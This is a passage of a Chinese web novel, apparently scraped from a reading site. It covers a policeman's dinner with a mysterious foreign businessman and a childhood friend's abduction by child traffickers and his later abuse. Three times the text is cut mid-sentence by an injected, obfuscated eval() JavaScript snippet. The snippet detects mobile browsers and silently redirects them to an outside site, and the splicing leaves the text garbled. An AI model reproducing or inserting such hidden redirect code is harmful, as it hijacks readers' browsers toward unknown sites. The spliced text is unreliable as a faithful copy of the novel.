;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615085|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了贼,他们还能不知道么?这次的圈套最终没有套住他们,但他们很可能有什么重要的东西在身上,设局的人不会就此放弃的。” 酒店套房被入侵的案子,最终以盗窃未遂结案。但马程飞跑不了,他此前的几桩案子有证人提供了证据,面对确凿的证据,马程飞也不再抵赖,留下了口供。而后警方根据新获得的线索可以重启调查,补充完整的证据链,对马程飞提起公诉。 案件告一段落,虽然不是特别严重的刑事案件,但对于花冠皇庭大酒店还是造成了很大的震动。酒店方面接连开了几轮大小会议,总结经验教训,嘉奖安保人员,在全集团内发起安保主题的学习教育等等。 这段时间,安保部从上到下春风得意。由于在这件事中处理得当,安保部直接参与本次事件的员工全部得到了现金奖励,全集团的通报表扬。集团高层也有感于先进的新型安保设施在工作中的高价值体现,特批了一大笔资金用于安保系统的设备更新和升级。并且,品牌营销部的总监也提出,接下来会集中投放一波本酒店安保部英勇事迹的推广,突出酒店的安全保障、专业素养等等,营销一波口碑,提升酒店品牌影响力。 总之,安保总监眉心的川字纹这两天都淡了,就是法令纹和鱼尾纹好像加重了点。安保经理被脸上有光的安保总监狠狠拍了拍背脊,感叹自己腰杆终于也有直起来的一天。 终于直起腰杆的安保经理提出了一个想法,想请警察蜀黍来给团队做一些工作指导,帮助给点改进意见啥的。这种事情当然是找相熟的人更好说话。于是,琼姐的面子又被卖了。 这天,陈登应邀再次来到花冠皇庭。再怎么说,有琼姐在,陈登就是花冠皇庭的自家人,说是来指导工作,大家都没啥压力和拘束,尤其安保队里还有俩半大小子本是他迷弟,平时就登哥长,登哥短的,这会儿黏糊得撕都撕不开。 陈登也不是来玩的,大家熟归熟,正经事情不能耽误。他事先做了不少功课,给安保队的讲座分享了很多真实案例,到最后更是详细分析了这次的案件,在详实的案例基础之上,分享满满的干货。而后,安保经理陪同陈登在酒店周边和内部各处都跑了一圈,讨论系统、管理、设备、人员……总之能想到的,能看到的都好好琢磨了一遍。 这一天忙活下来,陈登也是又充实又疲惫。两人在豪华层的行政酒廊找了个角落坐下,安保经理正准备跟服务员要点小糕点,不料背后响起一个略带清冷的男声:“陈先生?” 是地下车库里那位没下车的年轻男子,史蒂文的老板路易。 安保经理作为酒店人员,服务意识近乎本能,当即起身,以适当的理由退场。路易也不客气,礼貌地向他点头致意,然后在他的位置上坐了下来。 这次陈登见到了他完整的脸,和整个人。大约175的身高,身材有些偏瘦,但很挺拔,气质有些冷峻,也有些书卷气,他的眼神很温和,应该是个脾气很好的人。陈登忍不住心说,啊!不能让师父知道,否则又是毛栗子。 路易主动伸手:“你好,我是Louie,我们在车库见过。”中文比史蒂夫地道得多,不愧是老板。 陈登赶紧伸手握上去,笑:“你好你好,我是陈登。” 路易侧头看了眼安保经理离开的背影,问道:“没想到今天能再见到陈先生,我没有打扰你们吧?” “没有没有,我们已经聊完了。” “陈先生常来这家酒店?” “还好吧,”陈登想了想,“最近跑这边是比较多。之前酒店发生了一起案件,我就是负责调查的警员。” 路易明显愣了一下,似乎有些诧异,“原来陈先生是位探长!” 换陈登愣了一下,赶紧笑着否认:“哈哈哈,我们这边一般不这么叫。” 路易有些腼腆地一笑,“我的语言还是太生疏。” 7. 第 7 章 陈登觉得眼前的小老板着实不太像老奸巨猾的国际商人,倒是更像刚从大学毕业的天真小公子。“我说真的,你的中文已经很好了,听不出口音,也很流畅,可能只是对一些习惯用法不太了解,但这很不容易,毕竟你生活环境不在大华。” 路易听了他的夸奖,看起来有些偷偷地开心。陈登心里嘀咕,要是真像师父推测的那样,小老板的演技实在太好了! 等等! 陈登突然想到个事儿。马鹏飞的情报中有一条:富商外出时总会和自己的助理互换身份。如果这条是真的,那么……眼前的路易应该是助理,史蒂文才是老板……你别说,身份换过来好像也未尝不可…… 这念头一起,就有那么点止不住,陈登初次见到他们的时候就觉得欧美白人给华人做助理的少见,如今这么一想,不免更有些迷糊。 好在路易也没给他太多胡思乱想的时间,紧接着问道:“那陈警官今天来也是为了调查案件?”说着顿了顿,又解释道,“只是随便聊聊,如果不方便透露,就当我没问。” 陈登心想:这位路易比史蒂文要谨慎得多,换了是史蒂文,说不定会直接问你们查到些什么了。这么一想,更觉得史蒂文像是无所顾忌的二世祖,路易是谨小慎微打工人了。 “没什么不能说的。案件不复杂,前两天已经结案了,今天我是应邀到酒店来给安保部做些分享和建议。” “这么快就结案了?”路易眼里的诧异一闪而过,“哦,我是说……大华警方的效率真高啊!” “因为这个案子本身很清楚,嫌疑人是被抓的现行,所以结案比较顺利。”陈登回答,想了想还是补了句,“不过像你这样的商人,出门在外,总归还是要多注意安全问题。” 路易认真地点点头。 不知为何,陈登总觉得他听得懂自己真正想说的是什么。 路易虽然和史蒂文比起来,显得有些疏离和矜持,但显然也是很懂人情世故的,两人之间聊得轻松舒适,不知不觉就到了饭点。 路易不经意地看了眼手表,顺势发起了邀请。“都到晚饭时间了!陈警官,和你聊天很愉快,晚上有约吗?我之前就说过,有空一定要请你吃顿饭,如果你方便的话,不如就现在?” 陈登这一天下来确实没什么事了,但这个邀约有些突然,他没来得及考量。 路易轻声笑道:“陈警官不用紧张,我知道大华的警察是有很多原则不容挑战的,我也不请你吃什么贵重的宴席。来到这里这些日子,我爱上了这里的一道菜,叫汽锅鸡,真的很好吃,如果你也喜欢,今晚我们就吃这个怎么样?” 陈登这辈子最不能拒绝的可能就是汽锅鸡了。没想到路易也好这口,陈登也不扭捏了,“好吧,一起去。不过我有个要求,别再叫我‘陈先生’或者‘陈警官’了,叫我陈登就行。”同去同去!男生之间的友谊就是这么简单! 福海园,是K市著名的风味餐馆,做汽锅鸡是公认的一绝。 紫陶汽锅滋滋冒着热气,卷带着鸡肉的鲜香蒸腾到半空。作为上过国宴,影响力甚至散播到好几个邻国的传统名菜,汽锅鸡的美味是毋庸置疑的。 陈登和路易对坐。氤氲的热气蒸腾间,路易默默地看着眼前的菜,没有先动筷子。 这顿饭不是他请客,但陈登下意识觉得自己是地主,得好好招待客人,于是热络地拿起汤碗给路易盛上一碗鸡汤,一边招呼道:“来来来,可能还有点烫,不过没关系,现在鸡肉最嫩,汤也最香。” 路易端着碗看陈登自己也盛了一小碗,和小孩子一样双手捧着碗,伸着脖子吹气喝汤,不自觉的,嘴角就往上勾。 “路易,你还挺会吃啊,这才来几天,就能懂汽锅鸡的妙处。”陈登喝完一碗汤,开始夹肉。 路易笑着反问:“怎么?每天吃面包配果酱的,就不能欣赏鸡汤么?” “那不是,本来以为饮食习惯不同,你会吃不惯很多东西呢!” “那边也有炖鸡汤,不过总是会放很多胡椒粉和洋葱,在汤里还会混搭很多食材,为了提升口感,还会加很多芝士粉。但是我总觉得他们没办法同时驾驭那么多食材的味道,做不出层次感,反正我从来没能吃出来过。”路易小口喝汤,热气氤氲雾花了他的眼镜片,他利索地摘了眼镜,插在胸口的口袋上。摘眼镜的时候,额角的一缕短发被眼镜腿挑了下来,挂在眉梢上。路易也没有理会,端起碗继续喝汤。 陈登心说,嗯,小老板还挺接地气,哎,不对,他也可能是小助理。陈登顿时有点不好,为什么总感觉自己有点分裂,明明薛定谔的是别人,可为什么分裂的是自己。 那边路易还在继续说:“那边的食谱总是把很多超出他们能力范围的东西加在一起,有时候我都在想,他们是不是没有味觉?” “哈哈哈!”陈登没忍住,“那你平时吃得饱么哈哈哈!” “要不然呢?我就不该是现在这样的身高!” “哈哈哈哈哈!”陈登拿过路易的碗,给他又盛了一碗,狠狠捞了几块肉。“多吃点多吃点!” 要不然说交朋友最重要是能吃到一起,玩到一起呢。单就说这一锅汽锅鸡,俩人迅速熟络起来。 “好吃的还有不少!我们一会儿可以再找一点小吃给你试试口味,烤乳扇和破酥包就都挺不错。鲜花饼也有蛮多人喜欢,不过我个人觉得只是用花做食物听着比较有意思,口味上没什么特别,又无所谓是不是刚出锅,就更适合做伴手礼吧。” 陈登说完往嘴里塞了片牛干巴,看对面的小老板正在很认真地吃他的牛肝菌炒饭。小老板吃东西斯斯文文的,速度倒是也不慢,看得出来他确实很适应Y省的口味,更喜欢那些清淡点的菜色,但对辣也有不错的耐受度。他吃东西总是一样一样有顺序地吃,很有条理,一丝不苟的。在工作中应该也是个专注度很高的工作狂人,陈登心想。 路易把小碗里的炒饭全吃完,伸手去拿桌上的茶杯,手指刚碰到杯子,又似乎想起了什么,顿了顿,往杯子里看了眼澄澈的菊花茶,才拿起来喝了口。 陈登看着有趣,问到:“怎么了?平时不喝菊花茶吧?” 路易笑了。“陈登,你观察得很仔细。” 这一调侃反倒让陈登有些不好意思,他刚才都没发觉,自己确实在观察、审视。 路易把筷子立起来,下巴搁上筷子尾端,有些好笑地继续说:“那么陈大警官观察到了些什么?” 陈登尴尬地摆摆手,还没来得及说什么,路易就替他缓解尴尬道:“陈登,你不用觉得不好意思,这是作为一个警察的职业习惯,我能理解,并不觉得被冒犯。” 说真的,陈登觉得要是换成琼姐,到这会儿指不定得哭个天崩地裂。反正陈登已经很久没有享受过这种被朋友全方位照顾妥帖的待遇了。 对面小老板从胸口的口袋里重新拿出那副精致的金丝眼镜,戴回脸上,自顾自继续说回刚才的话题:“我确实不太习惯喝饮料,不是不喜欢菊花茶,只是平时不太喝,一时间没反应过来。” 陈登迅速调整了一下,厚起脸皮果断把之前的尴尬翻篇:“咳……那你平时都喝什么?” “纯净水。” “为什么?健康理念?” “……算是吧,觉得比较干净。”路易虽然这么回答,但更像是觉得他理解不了,所以没有解释更多的意愿。 不知道为什么,陈登就是知道,自己的理解可能不太对。不过既然别人不愿意说更多,那就不说,陈登这点眼色还是有的。他自顾自往下接话:“我小时候那会儿,可能是因为我们国家整个儿的经济水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615086|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平也还不高,还都没有各种健康啊、养生啊之类的观念宣传,大人们都不关注这些,更别提教育我们小孩子了。我们都是有什么吃什么。小时候还容易饿,饿了什么都敢吃!我还记得那时候我们有句话:不干不净,吃了没病,哈哈哈!” 路易显然很感兴趣,抿嘴笑着听他说完,追问:“怎么?你吃过很多不干不净的食物?” “呃……嘿嘿嘿!其实也没有多不干净……”陈登用手指挠了挠脸,小时候谁没犯过点傻呢。当年无比自豪,现在回头来看都是糗事。刚刚自己说起来还不觉得,结果路易一问就发现自己一不小心又蹦跶进了沟里。 路易再次突显出他的超高情商,再一次转移了话题方向,说道:“从我发出邀请到现在,你已经给我介绍了不少美食,看来平时对吃就很有心得。” 陈登谦虚道:“一般,一般。” “不如我们来分享一下,你是怎么喜欢上这些美食的?” “怎么喜欢上?” “对,我就想听听你讲故事。”路易的笑里多少有点促狭。 “故……我哪有什么故事哈哈哈!”陈登失笑。“我也不会讲故事啊!” “我不信。你白天给酒店讲课不还说了很多案例。案例还是别人的故事呢,说自己的故事更简单吧!”路易这时候倒是较真起来了,顿了顿,视线刚好对上桌上已经光盘的汽锅鸡,说道,“比如说……你第一次吃汽锅鸡是什么时候?有些什么有趣的事?” “汽锅鸡……”陈登一怔,视线也转向汽锅鸡,顿了几秒才回答:“……说起来,我是先喜欢上,然后才吃到的。” 路易没想到还能这样,疑惑地再次确认:“没吃就喜欢?” 陈登“嗯”地点了一下头,回答:“是,我喜欢它的时候还挺小的,后来……很多年以后才吃到这道菜。” “为什么?”路易不解。 陈登摸了摸后脖颈,又咧开嘴露出带着点傻气的笑:“我有个发小,我最早是从他那儿知道汽锅鸡这道菜的。那时候小嘛,时不时玩疯了就闯祸,我发小很有办法的,每次我闯祸了,他就帮我想办法兜过去。帮了我的忙之后,他就会说等我有钱了,让我请他吃汽锅鸡。可其实我们那时候那么小,还不到小学,家长们都不给我们零花钱,哪有什么机会请人下馆子。他这么说,不过是不想让我觉得欠他人情罢了。”说着说着,陈登的声音里就透出了那么点怀念。 路易适时地接话,语调温和:“你的发小或许没有想得太多。” 陈登摇摇头:“他很聪明的,是我们那一片的孩子里最聪明的。”他接着说道,“他每次都这么说,我就记着汽锅鸡,一次两次三次四次的,我对汽锅鸡就慢慢好奇起来了,这菜到底得好吃到什么程度,才能让我发小心心念念的?然后我也开始期待起来了。” 路易一低头,轻笑起来,说话的声音低低的:“所以你到现在都还记着……” 陈登把自己杯子里的茶水一饮而尽,垂着眼说道:“我欠了他很多汽锅鸡,都记着。后来,有一次,他让我帮他一个忙,还说只要我帮他,等他拿了压岁钱就请我吃汽锅鸡。那时候我可高兴了。” 陈登确实不太会讲故事,说完这些,他便沉默了下来,不知道接下来该说些什么。 路易一时间也没有接话,席间气氛变得清冷了些。等过了会儿,路易大概才意识到故事讲完了,这才又开口,语气轻松地感叹:“你和你发小感情真好。” 陈登闻言笑笑:“你呢?就没有从小到大的朋友?” 路易犹豫了一阵,说:“恐怕没有。不是每个人都能获得好的友谊,所以我很羡慕。” 陈登看了看他,心说原来这个世界的公平性就体现在这儿,这样的人也会有遗憾。他难得地安慰了句:“会有的。” 8. 第 8 章 陈登知道他在做梦。 他回到了小时候,穿着小学的校服,课桌上还放着那个蓝黑相间的书包。 他的身边,是涌动的人潮,孩子们背着书包走出教室,放学了。 他转过头往教室窗外看去,远处学校门口有许多等待着的家长,大多是爷爷奶奶外公外婆。 他回过头来,看向教室另一个角落。 一个男生正在清扫课桌椅下的灰尘。夕阳从另一边的窗户照进教室里,给他镀上一层金红色的边。 陈登深深地望着他,心中默默地说:“好久不见,罗誉。” 罗誉打扫完,将工具规整到卫生角,然后拽上书包,对陈登说:“走啦!” 罗誉和陈登住在同一个小区,他们从小认识,一起玩到上学的年纪,进了同一所学校的同一个班级,于是上学放学也都在一起。今天轮到罗誉做值日生,陈登也帮着干了点活,等他一起走。 两人走出校门时,学校的人都走得差不多了,门口的家长们也早已接到了孩子离去。陈登和罗誉家离学校不远,他们两家的大人们都挺忙,也没有和祖辈住在一起,鉴于他俩都是结伴而行,大人们也就不太担心。 陈登盯着身边的罗誉一直看,也不说话。 罗誉转过脸来,问他:“你怎么了?” 陈登对他咧开嘴笑:“没怎么。” “我脸上有什么么?” “不是,只是想看看你。” 罗誉有些困惑,继续问:“今天你也没怎么说话,是有什么不开心吗?” 陈登摇摇头。 见问不出什么,罗誉只好继续往前走。只是平日里,总是陈登边走边说,给他分享这一天下来发生的各种事,今日陈登却怪怪的,沉默得不像话,罗誉有些不习惯。 走过一条小巷,罗誉忽然停住,他紧紧地盯着小巷深处,随后转向那边。这时,罗誉的书包带被一把拽住。 罗誉扭头看向陈登。陈登目光灼灼,手上死死地抓着罗誉的书包带。 “阿登,我刚才看到有人抱走了小茴饼!”罗誉有些急,“就是那家茴饼店老板的儿子,你记得吧!” 陈登眼里透出深沉的哀伤,他没有放手。 “阿登,你先去前面烟酒店打电话报警,那里最近!快!” 陈登看着他,问:“那你呢?” “我跟上去看看,万一他们有车,我就把他们车牌记下来。你快去!” 陈登还是没松手。他认真地请求罗誉:“阿誉,别去。” “阿登,你到底怎么了?你快点去报警,再晚就真来不及了!”罗誉真急了,那是他们认识的孩子,就在刚才,他看到孩子被陌生人带走了。 “阿登,听我的,就当帮我一次忙,回头等拿了压岁钱,我请你吃汽锅鸡!” 陈登一瞬间红了眼眶。 一切都没有改变。 手从书包带上松开。 陈登眼睁睁看着罗誉跑远的背影,消失在小巷那头。 已经发生过的事就不会再改变。 高大的警察从陈登身边匆匆跑过。 他的耳边却只有罗誉母亲焦急的呼喊。 誉仔!誉仔! 而后是罗誉父亲凄惶地安抚妻子。 誉仔没事的!誉仔会回来的! 最后是夫妻俩制作的寻人启事,张贴在路边各处,转发到网络社交平台…… 罗誉的父母录制了各种音视频,请求帮助寻人,他们不断地重复儿子的名字,一声接着一声,几乎要呕出血来。 誉仔!誉仔! 然而罗誉,再也没有回来。 陈登睁开眼,从床上坐起来。他已经很久没有做这个梦了。 那是他八岁时发生的事。 那天,他听罗誉的话,转头跑去烟酒店打电话报警,可等他和警察回来,罗誉、小茴饼、人贩子却都已消失不见。警方在小巷深处发现了少量挣扎留下的痕迹,和罗誉的书包。 他也被人贩子带走了。 而他陈登,是最后见到罗誉的人。 罗誉的父母陷入无尽的痛苦和煎熬,他们停掉了所有的工作,变卖所有家产,离开K市,走遍全国,拼尽全力去寻找失踪的儿子,他们唯一的儿子。 临走前一天,罗誉的父母来到陈登家,向他们告别。罗誉的母亲双眼通红,含着泪看着陈登,久久不说话,将陈登拥入怀中用力地抱紧。陈登没有做声,他知道,她不是在抱他,她只是在他身上留恋自己儿子的气息。 罗家人从此消失在陈登的生活中,再无音讯,却也以另一种形式深深烙印在陈登的生命中,如影随形,让他永无宁日。 陈登一宿接一宿地做梦,梦见最后那个傍晚,那条小巷,梦见罗誉离开的背影。他在梦里试过无数次,阻止罗誉离开,或者陪着罗誉一起去,最后的结果却都是一样。 就和今晚梦到的一样。 就和现实一样。 过了几年,陈登高中那会儿,有一天那条小街上突然响起了绵密响亮的鞭炮声。小茴饼被警方找回来了,在那天,他被送回了家。茴饼店老板一家在街上点燃了好几大盘一千响的鞭炮,街上的左邻右舍都热情地为他们送上祝福。噼里啪啦的鞭炮声响彻小街,持续了很久很久。 陈登穿过鞭炮燃烧后的烟雾,往前走。他远远看见茴饼店老板一家相拥的热泪,也看见送小茴饼回来的警察欣慰的笑容,他跟着笑起来,只是没有停留。 继续往前走,一直走,他不能停下,不敢停下。 他为小茴饼感到高兴,但他不能停下,他害怕停下来就再也笑不出来。他的朋友,罗誉,仍然杳无音讯。多年过去,他的身边,依然空无一人。 得知小茴饼被找回后,他曾抱着热切的希望,期待着再见到罗誉的日子。然而,没有罗誉。 这次警方解救了总共六名孩子,没有罗誉。小茴饼被拐走的时候太小,根本记不清人,甚至都不清楚罗誉也被抓了,更不要说罗誉之后的去向。 警方给出的答复可谓残酷。罗誉这样年纪的小男孩,由于已经记事,容易在被拐后表现出抗拒和叛逆性,这类孩子容易遭到人贩子和买家的虐待,致残和致死都有可能。另一些不易驯服的,可能会被不断倒手转卖,在每一任人贩子和买家手上循环经历虐待和转卖的过程,最终结局……也不会太好。 以陈登对罗誉的了解,很难想象他被驯服的样子,所以结局几乎已经确定了。但这种结局,谁又能接受呢?活不见人,死不见尸,永远用一个缥缈的念想吊着,不知尽头。 陈登的家人并不知道,陈登对罗誉的失踪始终无法释怀。他总会想起自己气喘吁吁地奔跑,书包在背后每一次的弹动都和他用力的方向相反,他的腿脚由于高度的紧张和极限的运动而酸软,每一步都像踩在烂泥里。他恨自己跑得不够快,为什么自己不能更快一点,哪怕一点点,或许就能赶上…… 办理小茴饼案件的老刑警说的是现实,陈登很清楚,但他不想接受,因为不能接受。罗誉父母的哭声犹在耳边,午夜梦回仍是声声泣血,陈登也不愿意用一个念想让自己在余生中被动等待,那么,就主动做点什么吧。 高考那年,陈登报考了警官学院。 罗誉,希望在有生之年,我还能再见你一面。 活要见人,死要见尸。 总统套房S888。 史蒂文双手抱在胸前,双脚分开站成圆规,脸上是谴责的神情,看着书桌后的路易。“Boss,我需要个解释。” 路易靠在椅背上,搭着扶手,像看着一个撒娇的弟弟,笑着说:“Steven,我只是去吃了顿饭。” “啊!对对!只是!一顿饭!”史蒂文说完忍不住翻了个白眼,说真的,这对话听着真糟糕,就好像自己是被渣男欺骗了的怨妇。他为什么会联想到这些?因为曾经有过好多个怨妇和他发生过类似的对话。 “我本来也要吃饭的。你叮嘱过,我不能再蹂躏我的胃了,要我好好吃饭。” “Louie,我是说过你必须好好吃饭,但是本该跟你一起吃饭的人是我!还记得么?你可怜的、无措的、惊慌的小保镖!”史蒂文试图对自己的老板强调一下自己的身份定位,并唤醒某人可能为数不多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615087|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良知,为此奋力一搏。 “Steven,所以你吃过晚饭了么?” “不要妄图打岔,Louie,这是一次正经的谈话!”史蒂文相当崩溃。“我说,你难道不知道这么做的风险么?我不理解!你明明那么谨慎,你敏锐的在第一次见面后就察觉了陈登有问题,却在明知道他是警察之后,单独和他出去吃饭!并且完全!没有!和我!商量!你甚至都没有通知我!尤其是我们正在被人算计的时候,你却做出了这么鲁莽的行为!Louie,你到底在想什么?” 路易把手肘撑在桌沿,直起身子往前倾,认真地回答史蒂文:“抱歉,兄弟,我让你紧张了。我给你道歉。这个机会有些难得,我没能及时跟你沟通。”他正面的回应让史蒂文的情绪得以获得安抚,不管怎么说,这几句话让史蒂文觉得至少自己混得比那些怨妇还是要好不少的。 路易继续说:“今天和他是偶遇,他还完全不清楚我们的情况,所以我临时做了个决定:试着靠近他,从他身上套取信息。” “Louie,这非常危险!” “我知道,我知道,Steven,别激动,相信我,我并没有丧失理智。事实上,今晚这顿饭的确不是全无收获。” 史蒂文余怒未消,他也知道路易一定有他的道理,就干脆闭嘴,气鼓鼓地坐到了不远处的单人沙发上。 路易对史蒂文摊摊手,语气从容淡定:“警方显然已经确认,我们是真正的受害目标,但由于我们换了房间,使得这起案件无法直接查到根源,只能先结案。” “这些我们昨天就已经知道了,不是么?”史蒂文暴躁地反驳。 “但是你知道吗?陈登提醒我,注意安全。” “怎么了呢?什么意思?” “意思就是……警方认定后续还会有针对我们的行动,所以警方现在把我们视为鱼饵。”路易从陈登的一句暗示中,就敏锐地探查到了警方的意图。 “……这样看来,那鱼是大华的。他要赶在我们离境之前对付我们。”作为一个保镖,史蒂文终究对安全话题更有职业敏感性。“可我们之前没有往大华发展过业务,跟这边连接触都很少,会是谁跟我们有仇呢?” “鱼是大华的,但背后未必没有联邦国的人。我们在联邦的仇人可是一大把。”路易的大局观让他能更全面地分析问题。“之前让你在联邦查的事情怎么样了?” “还在秘密排查‘公司’内部人员,到目前为止,还没有发现问题。帕朗那边还没有异动,不过下个月又是他每年出去度假的行程,到时候对他的监控会更难一些。” 路易“嗯”了一声,不置可否。身在大华真的很不方便,正如史蒂文说的,“公司”之前没有在大华做过任何的部署和发展,如今在这里没有人手,没有渠道,做什么都事倍功半。 路易正沉默,史蒂文从沙发上起身。合众国人身上似乎总有一种独特的乐天和慵懒,这位保镖先生向来不乐意参与老板的脑力劳动。 他解开领口走向浴室,在门口停下来转身又对路易说道:“Louie,这次就算了。我知道你很聪明,可我必须保证你的安全。你是我的老板,我指望着你谋一口饭吃,请不要让我失业。所以,没有下次。”天呐,他觉得自己大度得让自己感动。 正双手握拳撑着下巴思考的路易闻言抬眼看他,回答道:“有句古话说,不入虎穴,焉得虎子。” 史蒂文瞬间感受到了宛如老父亲面对叛逆孩子的糟心:“Louie!我必须提醒你,不要再和那个警察有太多接触。这非常危险!” 路易看着史蒂文,露出促狭的笑意,说:“这话听着怎么这么熟悉来着?那个叫Linda的姑娘教你的?” 史蒂文再度爆炸,抓狂地冲进浴室,再也不想理会这个糟心玩意儿。 浴室门即将被粗暴地摔上时,路易冷淡的声音响起。 “我们或许会有很多次接触他的机会,但是,Steven,要知道,邀请显得足够随意才能让他不至于产生警惕,才有可能更顺利地套取信息,因为一个警察绝不可能偶然地与我们发生交集。” 9. 第 9 章 第九章他要回家 浴室的门被轻轻关上。 路易垂下眼,打开书桌的抽屉,那里面放着陈登的生平履历。B618套房被入侵的第二天,史蒂文就将这份文件交给了路易。上面的内容他已经烂熟于心。 晚饭时,陈登曾问他有没有从小到大的朋友。他很想告诉他,原本应该是有的,可是现在肯定不会有了。 八岁前,他有个很好的朋友,八岁后,他失去了交友的资格。 那一年,发生了很多事。 他背着书包,和好友走在放学的路上,那是一条离他们学校不远的小街,街上有很多店铺是开了多年的,学生们都很熟悉。也正因为熟悉,他几乎是第一时间发现小茴饼是被一个陌生人抱走的,那不是孩子的任何亲友。他果断地让身边好友去找最近的店家打电话报警,自己则跟上去看看情况。好友对他一直信任有加,但那天不可避免地因为恐惧而犹豫。他哄着好友帮他的忙,然后就跑了出去。 他并不是莽撞的人,他并没有轻举妄动,但在他探出头默记人贩子的车牌时,小茴饼被塞进车内那一刻,挥动小手向他喊了句“哥哥救我”…… 这句话葬送了他的一生。 他被打晕后扔上车,在半昏迷中他隐约听到了好友仓惶的呼唤。 阿誉!阿誉! 罗誉在这之后就遭遇了非人的折磨。就像老刑警对陈登说的那样,罗誉记事,知道自己的来处,知道自己是谁,三观正直,且个性刚强,他从不放弃任何自救和逃跑的机会。 好几次他几乎就要成功了,如果不带上几个年龄很小的孩子,他本是可以成功的。被抓回来后,就是更加严厉的“管教”。 不管被送到哪个中转站,他都会被作为反面教材,严加管教的过程和结果都会被充分展示给其他被抓的孩子们。他经常遍体鳞伤,也经常陷入昏迷。唯一值得庆幸的是,人贩子没有锯掉他的手脚,让他去做最底端的乞儿。因为乞儿也必须是驯服的。 身边的孩子们开始陆续被卖掉。罗誉联合了几个年纪稍大的孩子,策划了一起群体性的出逃,他们约定,不管谁最后逃出去了,都要想尽办法报警,把警察带来解救没能逃出去的孩子。 最终,有一个孩子逃了出去。而罗誉,在关键时刻以一己之力引开了人贩子,掩护了这个孩子。 他当然被抓住了,但他很高兴,因为竟然真的逃走了一个。 但人贩子很不高兴,损失了一个男孩就是损失了一大笔钱。更重要的是,即便在高强度的虐待之下,这个崽子竟然还敢做出这样的事!这崽子太烈,极难驯服。本来像这么大的孩子,他们是不会下手的,抓他也是情势所迫,可也是真没想到崽子这么难管,必须给他趁早出手,否则带在身边还会闹出更多的事。 人贩子打晕了他,而后连夜转移。等罗誉醒来,他已经在另一个破败的屋子里,人贩子和孩子们都不见了。 他被卖了。 买了他的人家大概是被人贩子打过招呼,知道他是想跑的,对他看管很严。他听不懂他们的方言,无法沟通,从那些人的神情中也看出,这些人即便有善心,也不会用来放他走。 他依旧不遗余力地出逃,然后被身强力壮的男人抓回来,鞭打,不给吃饭,继续殴打,继续挨饿……然后有一天,这家人也灰了心,叫来了一个人贩子,让他带罗誉走。 他又被卖了。 然后又一次被卖。 再一次。 一次又一次…… 罗誉自己都已经数不清被转卖了几次,反正没区别,他没有忘记自己叫罗誉,Y省K市人,他有来处,也知道自己应该要去哪儿。因此他从不屈服,即便是每一任买家和人贩子的暴打和虐待,都不能改变他的意志。 他,要回家。 对于他这样的想法,不管哪个接手他的人贩子都心知肚明。只不过,有些孩子通过“调教”可以变得很乖,而有些,死性不改。他们很快会发现罗誉就属于死硬派。 人贩子们可不是普度众生的菩萨,对那些难以管教的孩子,自然也有他们的手段。比如说,那些听话的“猪崽”就卖给人家传宗接代延续香火,不听话的孩子更适合卖给某些组织当作“飞蛾”,他们通常被安排用来运送某些违禁物品。罗誉这种未满14周岁的孩子做“飞蛾”有个好处,没那么容易被警察注意,且抓住了也不用负刑事责任,相当的好用。 这些组织想要控制他们就很简单,只要用点药,让干什么就干什么。就算什么也干不了的废物,到最后也可以拆了身上的零件卖钱,反正他们来历不明,死得也不必明明白白。 虽然对人贩子来说,把人卖给组织的卖价肯定没有“猪崽”高,但好歹能收回点儿钱,这么棘手的货早些脱手,他们也更安全。 于是有一天,两个人贩子开车将罗誉带来了口岸城市H市。 H市虽然不大,却是Y省重要的边贸城市,它隔着一条名叫青珈河的大河与邻国联邦国相望,河就是国境,人们过个河就是出了境。 大量的边境贸易给这座城市带来了活力和生机,同时也带来了许多阴暗和罪恶。这个城市里活跃着两个国家的几大势力,让这里的局势总在风雨飘摇中,显得岌岌可危,任何一点风吹草动,都可能换回一场腥风血雨。 这里是角斗场,一旦落败,就是自身的屠宰场。 然而年幼的罗誉对这一切还一无所知。他被捆住手脚堵住嘴,扔在五菱的后排。人贩子只是每过一段时间来看一眼确保他还有呼吸。昨晚打得挺重,罗誉的鼻子一直在流血。 罗誉半闭着眼睛,看起来神智不太清醒。不过既然没有生命危险,两名人贩子还挺享受这难得的清净。这崽子实在能闹腾。 只可惜这样的清净注定不能长久。 车离H市中心还有大约不到一小时车程,开车的鹰钩鼻突然吸了吸鼻子,对副驾上的龅牙说:“你是多久没洗澡了!怎么一股子尿骚味!” 龅牙遭逢无妄之灾,怼回去道:“你才骚!”说完两人都是一顿,反应过来。龅牙来到后座一看,罗誉身下正淌着一滩水渍。 